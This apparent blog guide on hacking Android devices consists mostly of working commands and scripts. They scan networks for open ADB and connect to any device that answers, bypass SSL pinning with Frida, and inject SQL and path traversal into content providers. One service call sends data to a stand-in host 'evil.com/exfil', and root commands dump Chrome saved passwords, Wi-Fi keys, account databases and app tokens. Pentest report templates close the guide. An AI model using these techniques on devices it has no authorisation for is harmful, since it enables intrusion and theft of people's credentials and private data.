Hacking Android Devices
- Biohazard

- Jul 20
- 9 min read

How To Hack Android Devices
Here's the complete Android hacking methodology — from device access to app exploitation and data extraction. This is an article / guide on hacking android devices.
Initial Access & ADB
ADB over USB
bash
# Verify connection
adb devices
# If unauthorized, check device screen for "Allow USB debugging" prompt
# If no prompt appears:
adb kill-server
adb start-server
adb devices
# Multiple devices
adb -s <serial> shell
ADB over TCP (Network)
bash
# Enable TCP/IP (requires initial USB connection or root)
adb tcpip 5555
adb connect <device-ip>:5555
# Directly if already enabled
adb connect 192.168.1.105:5555
# Active exploitation — scan for open ADB ports
nmap -p 5555 192.168.1.0/24 --open
# Then connect to any that respond
Interesting Finding: Open ADB over TCP with no authentication is a critical vulnerability. Many cheap Android devices and some development units ship with this exposed.
Device Reconnaissance
bash
# Full device info dump
adb shell getprop # All system properties
adb shell getprop ro.build.version.sdk # SDK version
adb shell getprop ro.build.version.release # Android version
adb shell getprop ro.product.model # Device model
adb shell getprop ro.product.cpu.abi # CPU architecture (arm64-v8a, x86)
# Security state
adb shell getprop ro.boot.flash.locked # Bootloader locked? (1=locked)
adb shell getprop ro.boot.verifiedbootstate # Verified boot state (green/yellow/orange/red)
adb shell getprop ro.boot.vbmeta.device_state # AVB state
adb shell getprop ro.build.type # user/userdebug/eng (eng=rootable)
adb shell getprop ro.debuggable # 1 = debuggable build
adb shell getprop ro.secure # 0 = root adb available
adb shell getprop ro.build.tags # release-keys/test-keys/dev-keys
# SELinux
adb shell getenforce # Enforcing/Permissive/Disabled
adb shell dmesg | grep -i selinux # SELinux boot messages
adb shell cat /proc/version # Kernel version
# Installed packages
adb shell pm list packages # All packages
adb shell pm list packages -3 # Third-party only
adb shell pm list packages -s # System only
adb shell pm list packages -d # Disabled packages
adb shell pm list packages | grep "com.targetorg" # Target apps
# Running processes
adb shell ps -A # All processes
adb shell dumpsys activity activities # Current activity stack
adb shell dumpsys activity services # Running services
adb shell dumpsys meminfo <package> # App memory usageApp Extraction & Static Analysis
Pull APKs from Device
bash
# List all app paths
adb shell pm list packages -f
# Pull a specific APK
adb shell pm path com.targetcorp.app
# Output: package:/data/app/com.targetcorp.app-abc123==/base.apk
adb pull /data/app/com.targetcorp.app-abc123==/base.apk ./target_app.apk
# Pull all third-party APKs
for pkg in $(adb shell pm list packages -3 | cut -d: -f2); do
path=$(adb shell pm path $pkg | head -1 | cut -d: -f2)
if [ -n "$path" ]; then
adb pull "$path" "./apks/${pkg}.apk" 2>/dev/null
fi
done
APK Static Analysis
bash
# Decompile with apktool (smali code)
apktool d target_app.apk -o target_app_smali/
# Decompile to Java (jadx — best for reading)
jadx -d target_app_source/ target_app.apk
# Quick scan for secrets
grep -rEI "api[_-]?key|secret|password|token|auth|private|BEGIN RSA|-----BEGIN" target_app_source/
grep -rEI "http://|https://" target_app_source/ | grep -v "android.com\|google.com\|schemas.android"
# Find hardcoded URLs/endpoints
grep -rohE 'https?://[^"'"'"' ]+' target_app_source/ | sort -u
# Check AndroidManifest.xml
cat target_app_source/AndroidManifest.xml | grep -E 'android:exported="true"|android:debuggable|android:allowBackup'
Automated Analysis (MobSF)
bash
# Install MobSF
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
pip install -r requirements.txt
python manage.py runserver 0.0.0.0:8000
# Upload APK via web UI at http://localhost:8000
# MobSF produces:
# - Permission analysis
# - Exported component listing
# - Hardcoded secrets
# - Malware indicators
# - CVSS scoring per finding
# - API endpoint extractionDynamic Analysis & Runtime Manipulation
Frida Setup & Basic Hooking
bash
# Install Frida tools
pip install frida-tools
# Install Frida server on device
# Download matching architecture from https://github.com/frida/frida/releases
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64
# Start Frida server
adb shell su -c "/data/local/tmp/frida-server-16.x.x-android-arm64 &"
# List running processes
frida-ps -U
# Hook into a running app
frida -U com.targetcorp.app
SSL Pinning Bypass (Frida)
javascript
// ssl_pinning_bypass.js — universal SSL pinning bypass
Java.perform(function() {
// Bypass OkHttp CertificatePinner
try {
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, peerCertificates) {
console.log("[+] Bypassed OkHttp pinning for: " + hostname);
return;
};
} catch(e) { console.log("[-] OkHttp not found"); }
// Bypass TrustManager
try {
var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, endpoint, callback) {
console.log("[+] Bypassed TrustManager for: " + host);
callback.checkClientTrusted(untrustedChain, "RSA");
};
} catch(e) { console.log("[-] TrustManager not found"); }
// Bypass custom X509TrustManager
try {
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');
var TrustManager = Java.registerClass({
name: 'com.pentest.PwnedTrustManager',
implements: [X509TrustManager],
methods: {
checkClientTrusted: function(chain, authType) {},
checkServerTrusted: function(chain, authType) {},
getAcceptedIssuers: function() { return []; }
}
});
} catch(e) {}
});
bash
# Run the bypass
frida -U -l ssl_pinning_bypass.js -f com.targetcorp.app
Objection (Frida Wrapper — Easier)
bash
pip install objection
# Launch app with objection
objection -g com.targetcorp.app explore
# Inside objection console:
android sslpinning disable # Disable SSL pinning
android root disable # Bypass root detection
android hooking list classes # List all classes
android hooking search classes "crypto" # Search for crypto classes
android hooking list class_methods com.targetcorp.crypto.CipherManager
android hooking watch class_method com.targetcorp.crypto.CipherManager.encrypt --dump-args --dump-return
# Dump memory
memory dump all /tmp/app_dump
# Execute code in app context
android intent launch_activity com.targetcorp.SecretActivity
android shell_exec "ls /data/data/com.targetcorp.app/"
Clipboard Monitoring
bash
# Frida script to monitor clipboard
frida -U -l clipboard_monitor.js com.targetcorp.app
javascript
// clipboard_monitor.js
Java.perform(function() {
var ClipboardManager = Java.use("android.content.ClipboardManager");
ClipboardManager.setPrimaryClip.implementation = function(clip) {
console.log("[+] Clipboard set: " + clip.getItemAt(0).getText());
return this.setPrimaryClip(clip);
};
});App Component Exploitation
Exported Activities
bash
# List all exported activities
adb shell dumpsys package com.targetcorp.app | grep -A1 "Activity" | grep "exported"
# Launch exported activities directly
adb shell am start -n com.targetcorp.app/.SecretActivity
adb shell am start -n com.targetcorp.app/.AdminSettings
adb shell am start -n com.targetcorp.app/.DebugActivity
adb shell am start -n com.targetcorp.app/.WebViewActivity --es url "file:///data/data/com.targetcorp.app/"
# With extras (parameters)
adb shell am start -n com.targetcorp.app/.ViewDocument --es file "/etc/hosts"
adb shell am start -n com.targetcorp.app/.UserProfile --ei user_id 1
Exported Content Providers
bash
# List exported content providers
adb shell dumpsys package com.targetcorp.app | grep -A1 "Provider" | grep "exported"
# Query content providers
adb shell content query --uri content://com.targetcorp.app.provider/users
adb shell content query --uri content://com.targetcorp.app.provider/messages
adb shell content query --uri content://com.targetcorp.app.provider/documents
# With SQL injection in the URI
adb shell content query --uri "content://com.targetcorp.app.provider/users?--"
adb shell content query --uri "content://com.targetcorp.app.provider/'"'"'"
# File-based content providers
adb shell content read --uri content://com.targetcorp.app.fileprovider/root/../shared_prefs/config.xml
adb shell content read --uri content://com.targetcorp.app.fileprovider/root/../../../etc/hosts
Exported Broadcast Receivers
bash
# List exported receivers
adb shell dumpsys package com.targetcorp.app | grep -A1 "Receiver" | grep "exported"
# Send broadcast intents
adb shell am broadcast -n com.targetcorp.app/.ResetPasswordReceiver
adb shell am broadcast -n com.targetcorp.app/.BackupReceiver --es action "backup" --es path "/data/data/com.targetcorp.app/"
adb shell am broadcast -a com.targetcorp.DEBUG_MODE --ez enabled true
Exported Services
bash
# List exported services
adb shell dumpsys package com.targetcorp.app | grep -A1 "Service" | grep "exported"
# Start service
adb shell am startservice -n com.targetcorp.app/.BackupService --es action "dump"
adb shell am startservice -n com.targetcorp.app/.SyncService --es target_url "http://evil.com/exfil"
Drozer (Automated App Exploitation)
bash
# Install Drozer
sudo apt install drozer -y
# Install agent on device
adb install drozer-agent.apk
# Start agent on device (open the app, enable embedded server)
# Forward port
adb forward tcp:31415 tcp:31415
# Connect
drozer console connect
# Inside Drozer:
run app.package.list -f "target" # Find target apps
run app.package.info -a com.targetcorp.app # App info + manifest
run app.package.attacksurface com.targetcorp.app # Attack surface analysis
# Activity exploitation
run app.activity.info -a com.targetcorp.app # List activities
run app.activity.start --component com.targetcorp.app com.targetcorp.app.AdminActivity
# Content provider exploitation
run app.provider.info -a com.targetcorp.app
run app.provider.query content://com.targetcorp.app.provider/users
run app.provider.query content://com.targetcorp.app.provider/users --projection "* FROM SQLITE_MASTER--"
run scanner.provider.injection -a com.targetcorp.app # Auto SQLi scan
run scanner.provider.traversal -a com.targetcorp.app # Auto path traversal scan
# Service exploitation
run app.service.info -a com.targetcorp.app
run app.service.start --component com.targetcorp.app com.targetcorp.app.SyncService
# Broadcast
run app.broadcast.info -a com.targetcorp.app
run app.broadcast.send --component com.targetcorp.app com.targetcorp.app.DebugReceiverData Storage Exploitation
bash
# App internal storage
adb shell ls -la /data/data/com.targetcorp.app/
adb pull /data/data/com.targetcorp.app/ ./app_data/
# Shared preferences (often contain tokens)
adb shell cat /data/data/com.targetcorp.app/shared_prefs/*.xml
adb pull /data/data/com.targetcorp.app/shared_prefs/ ./shared_prefs/
# Databases
adb shell find /data/data/com.targetcorp.app/ -name "*.db" -o -name "*.sqlite"
for db in $(adb shell find /data/data/com.targetcorp.app/ -name "*.db"); do
adb pull "$db" ./databases/
done
sqlite3 ./databases/main.db .dump
sqlite3 ./databases/main.db .tables
sqlite3 ./databases/main.db "SELECT * FROM accounts;"
# External storage (SD card — world-readable by default on older Android)
adb shell ls -la /sdcard/Android/data/com.targetcorp.app/
adb shell cat /sdcard/Download/credentials.txt
# Cache directories
adb shell find /data/data/com.targetcorp.app/cache/ -type f
adb shell cat /data/data/com.targetcorp.app/cache/http_cache/*
adb shell cat /data/data/com.targetcorp.app/cache/okhttp/*
# WebView data (cookies, local storage, IndexedDB)
adb shell ls -la /data/data/com.targetcorp.app/app_webview/
adb shell cat /data/data/com.targetcorp.app/app_webview/Cookies
adb shell cat /data/data/com.targetcorp.app/app_webview/Local\ Storage/
# Keyboard cache (autocomplete suggestions leak data)
adb shell pull /data/data/com.targetcorp.app/app_webview/Local\ Storage/ ./webview_localstorage/
Network Interception
bash
# Set up proxy (Burp Suite / mitmproxy at 192.168.1.100:8080)
# Method 1: Global proxy
adb shell settings put global http_proxy 192.168.1.100:8080
# Method 2: Wi-Fi proxy (Settings → Wi-Fi → Modify Network → Manual Proxy)
# adb can't set this directly on newer Android
# Method 3: VPN-based interception (most reliable)
# Use ProxyDroid (root) or Drony (no root) on device
# Route all app traffic through your intercepting proxy
# Remove proxy when done
adb shell settings put global http_proxy :0
# tcpdump on device (requires root)
adb shell su -c "tcpdump -i wlan0 -w /sdcard/capture.pcap" &
# Interact with app
adb shell su -c "killall tcpdump"
adb pull /sdcard/capture.pcap ./
# Wireshark analysis
wireshark capture.pcap
tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uriKeychain & Credential Extraction
bash
# Android Keystore
adb shell su -c "ls -la /data/misc/keystore/user_0/"
adb pull /data/misc/keystore/user_0/ ./keystore/
# Accounts database
adb shell su -c "cat /data/system/users/0/accounts.db"
adb pull /data/system/users/0/accounts.db ./
sqlite3 accounts.db "SELECT name, type, password FROM accounts;"
# Google accounts token cache
adb shell su -c "cat /data/system/users/0/accounts.db"
# Wi-Fi passwords
adb shell su -c "cat /data/misc/wifi/WifiConfigStore.xml" | grep -E 'SSID|PreSharedKey'
# Chrome saved passwords
adb shell su -c "cat /data/data/com.android.chrome/app_chrome/Default/Login\ Data"
adb pull "/data/data/com.android.chrome/app_chrome/Default/Login Data" ./chrome_passwords.db
sqlite3 chrome_passwords.db "SELECT origin_url, username_value, password_value FROM logins;"
# WebView cookies
adb shell su -c "cat /data/data/com.targetcorp.app/app_webview/Cookies"WebView Exploitation
bash
# Check if app uses WebView with JavaScript enabled + file access
# In AndroidManifest.xml:
# android:usesCleartextTraffic="true"
# WebView with setJavaScriptEnabled(true) + setAllowFileAccess(true)
# Test WebView for:
# 1. JavaScript interface injection
# 2. File:// protocol access
# 3. setAllowUniversalAccessFromFileURLs
# Frida script to detect vulnerable WebViews
frida -U -l webview_check.js com.targetcorp.app
javascript
// webview_check.js
Java.perform(function() {
var WebView = Java.use("android.webkit.WebView");
WebView.loadUrl.overload('java.lang.String').implementation = function(url) {
console.log("[+] WebView loading: " + url);
if (url.startsWith("file://")) {
console.log("[!] FILE ACCESS: " + url);
}
if (url.startsWith("http://")) {
console.log("[!] CLEARTEXT: " + url);
}
return this.loadUrl(url);
};
// Check JavaScript enabled
var WebSettings = Java.use("android.webkit.WebSettings");
WebSettings.setJavaScriptEnabled.implementation = function(flag) {
console.log("[+] setJavaScriptEnabled(" + flag + ")");
return this.setJavaScriptEnabled(flag);
};
});Full Automation Script
bash
#!/bin/bash
# android_full_pentest.sh — comprehensive app pentest
APP="$1"
OUTDIR="pentest_${APP}_$(date +%Y%m%d_%H%M%S)"
if [ -z "$APP" ]; then
echo "Usage: $0 <package.name>"
exit 1
fi
mkdir -p "$OUTDIR"/{apk,static,data,frida,network,logs}
echo "=== Android Pentest: $APP ==="
echo "Output: $OUTDIR"
echo ""
# 1. Device info
echo "[1/10] Device reconnaissance..."
adb shell getprop > "$OUTDIR/device_props.txt"
adb shell getenforce > "$OUTDIR/selinux_status.txt"
# 2. Pull APK
echo "[2/10] Extracting APK..."
APK_PATH=$(adb shell pm path "$APP" | head -1 | cut -d: -f2)
adb pull "$APK_PATH" "$OUTDIR/apk/app.apk" 2>/dev/null
# 3. Static analysis
echo "[3/10] Static analysis..."
jadx -d "$OUTDIR/static/jadx" "$OUTDIR/apk/app.apk" 2>/dev/null
apktool d "$OUTDIR/apk/app.apk" -o "$OUTDIR/static/apktool" 2>/dev/null
# Secret scan
echo "[4/10] Scanning for secrets..."
grep -rEI 'api[_-]?key|secret|password|token|BEGIN RSA|-----BEGIN|client_secret|aws_access|private.*key' \
"$OUTDIR/static/jadx" > "$OUTDIR/secrets_raw.txt" 2>/dev/null
# Exported components
echo "[5/10] Checking exported components..."
grep -r 'android:exported="true"' "$OUTDIR/static/apktool/AndroidManifest.xml" \
> "$OUTDIR/exported_components.txt"
# 4. Pull app data
echo "[6/10] Extracting app data (root required)..."
adb shell su -c "cp -r /data/data/$APP /sdcard/pentest_data/$APP" 2>/dev/null
adb pull /sdcard/pentest_data/$APP "$OUTDIR/data/" 2>/dev/null
# 5. Database extraction
echo "[7/10] Extracting databases..."
find "$OUTDIR/data" -name "*.db" -o -name "*.sqlite" | while read db; do
DBNAME=$(basename "$db")
sqlite3 "$db" .dump > "$OUTDIR/data/${DBNAME}_dump.sql" 2>/dev/null
done
# 6. Shared preferences
echo "[8/10] Dumping shared preferences..."
find "$OUTDIR/data" -path "*/shared_prefs/*.xml" | while read pref; do
cat "$pref" >> "$OUTDIR/data/all_shared_prefs.txt"
done
# 7. Drozer scan (if connected)
echo "[9/10] Running Drozer scans..."
if drozer console connect -c "run app.package.info -a $APP" > /dev/null 2>&1; then
drozer console connect -c "run app.package.attacksurface $APP" > "$OUTDIR/drozer_attack_surface.txt" 2>/dev/null
drozer console connect -c "run scanner.provider.injection -a $APP" > "$OUTDIR/drozer_sqli.txt" 2>/dev/null
drozer console connect -c "run scanner.provider.traversal -a $APP" > "$OUTDIR/drozer_traversal.txt" 2>/dev/null
else
echo "Drozer not connected — skipping"
fi
# 8. Summary
echo "[10/10] Generating summary..."
cat > "$OUTDIR/summary.txt" << EOF
=== Android Pentest Summary ===
App: $APP
Date: $(date)
Device: $(adb shell getprop ro.product.model)
Android: $(adb shell getprop ro.build.version.release)
SELinux: $(adb shell getenforce)
Files Extracted:
APK: $(ls -lh "$OUTDIR/apk/app.apk" 2>/dev/null | awk '{print $5}')
Data: $(find "$OUTDIR/data" -type f | wc -l) files
Databases: $(find "$OUTDIR/data" -name "*.db" | wc -l)
Shared Prefs: $(find "$OUTDIR/data" -path "*/shared_prefs/*.xml" | wc -l)
Secrets Found: $(wc -l < "$OUTDIR/secrets_raw.txt") potential
Exported Components: $(grep -c "exported" "$OUTDIR/exported_components.txt" 2>/dev/null)
Quick Wins to Check:
- Hardcoded API keys/tokens → $OUTDIR/secrets_raw.txt
- Exported activities with no auth → $OUTDIR/exported_components.txt
- Database contents → $OUTDIR/data/*_dump.sql
- Shared prefs for tokens → $OUTDIR/data/all_shared_prefs.txt
EOF
cat "$OUTDIR/summary.txt"
echo ""
echo "Full results: $OUTDIR/"Finding Templates For Your Report
markdown
### Finding A-001: Insecure Data Storage
Severity: High (CVSS 7.5)
Location: /data/data/com.targetcorp.app/shared_prefs/auth.xml
Evidence: OAuth refresh token stored in plaintext in SharedPreferences
Remediation: Use EncryptedSharedPreferences or Android Keystore
### Finding A-002: Exported Activity Without Authentication
Severity: High (CVSS 8.1)
Component: com.targetcorp.app.AdminSettingsActivity
Exploit: `adb shell am start -n com.targetcorp.app/.AdminSettingsActivity`
Impact: Administrative settings accessible without authentication
Remediation: Set android:exported="false" or add permission check
### Finding A-003: Content Provider SQL Injection
Severity: Critical (CVSS 9.0)
Provider: content://com.targetcorp.app.provider/users
Exploit: content query --uri "content://...provider/users' OR '1'='1"
Impact: Full database exfiltration of user table
Remediation: Use parameterized queries; strip special chars from URI
### Finding A-004: SSL Pinning Not Implemented
Severity: Medium (CVSS 5.9)
Impact: All API traffic intercepted via Burp Suite / mitmproxy
Remediation: Implement certificate pinning with OkHttp CertificatePinner





Comments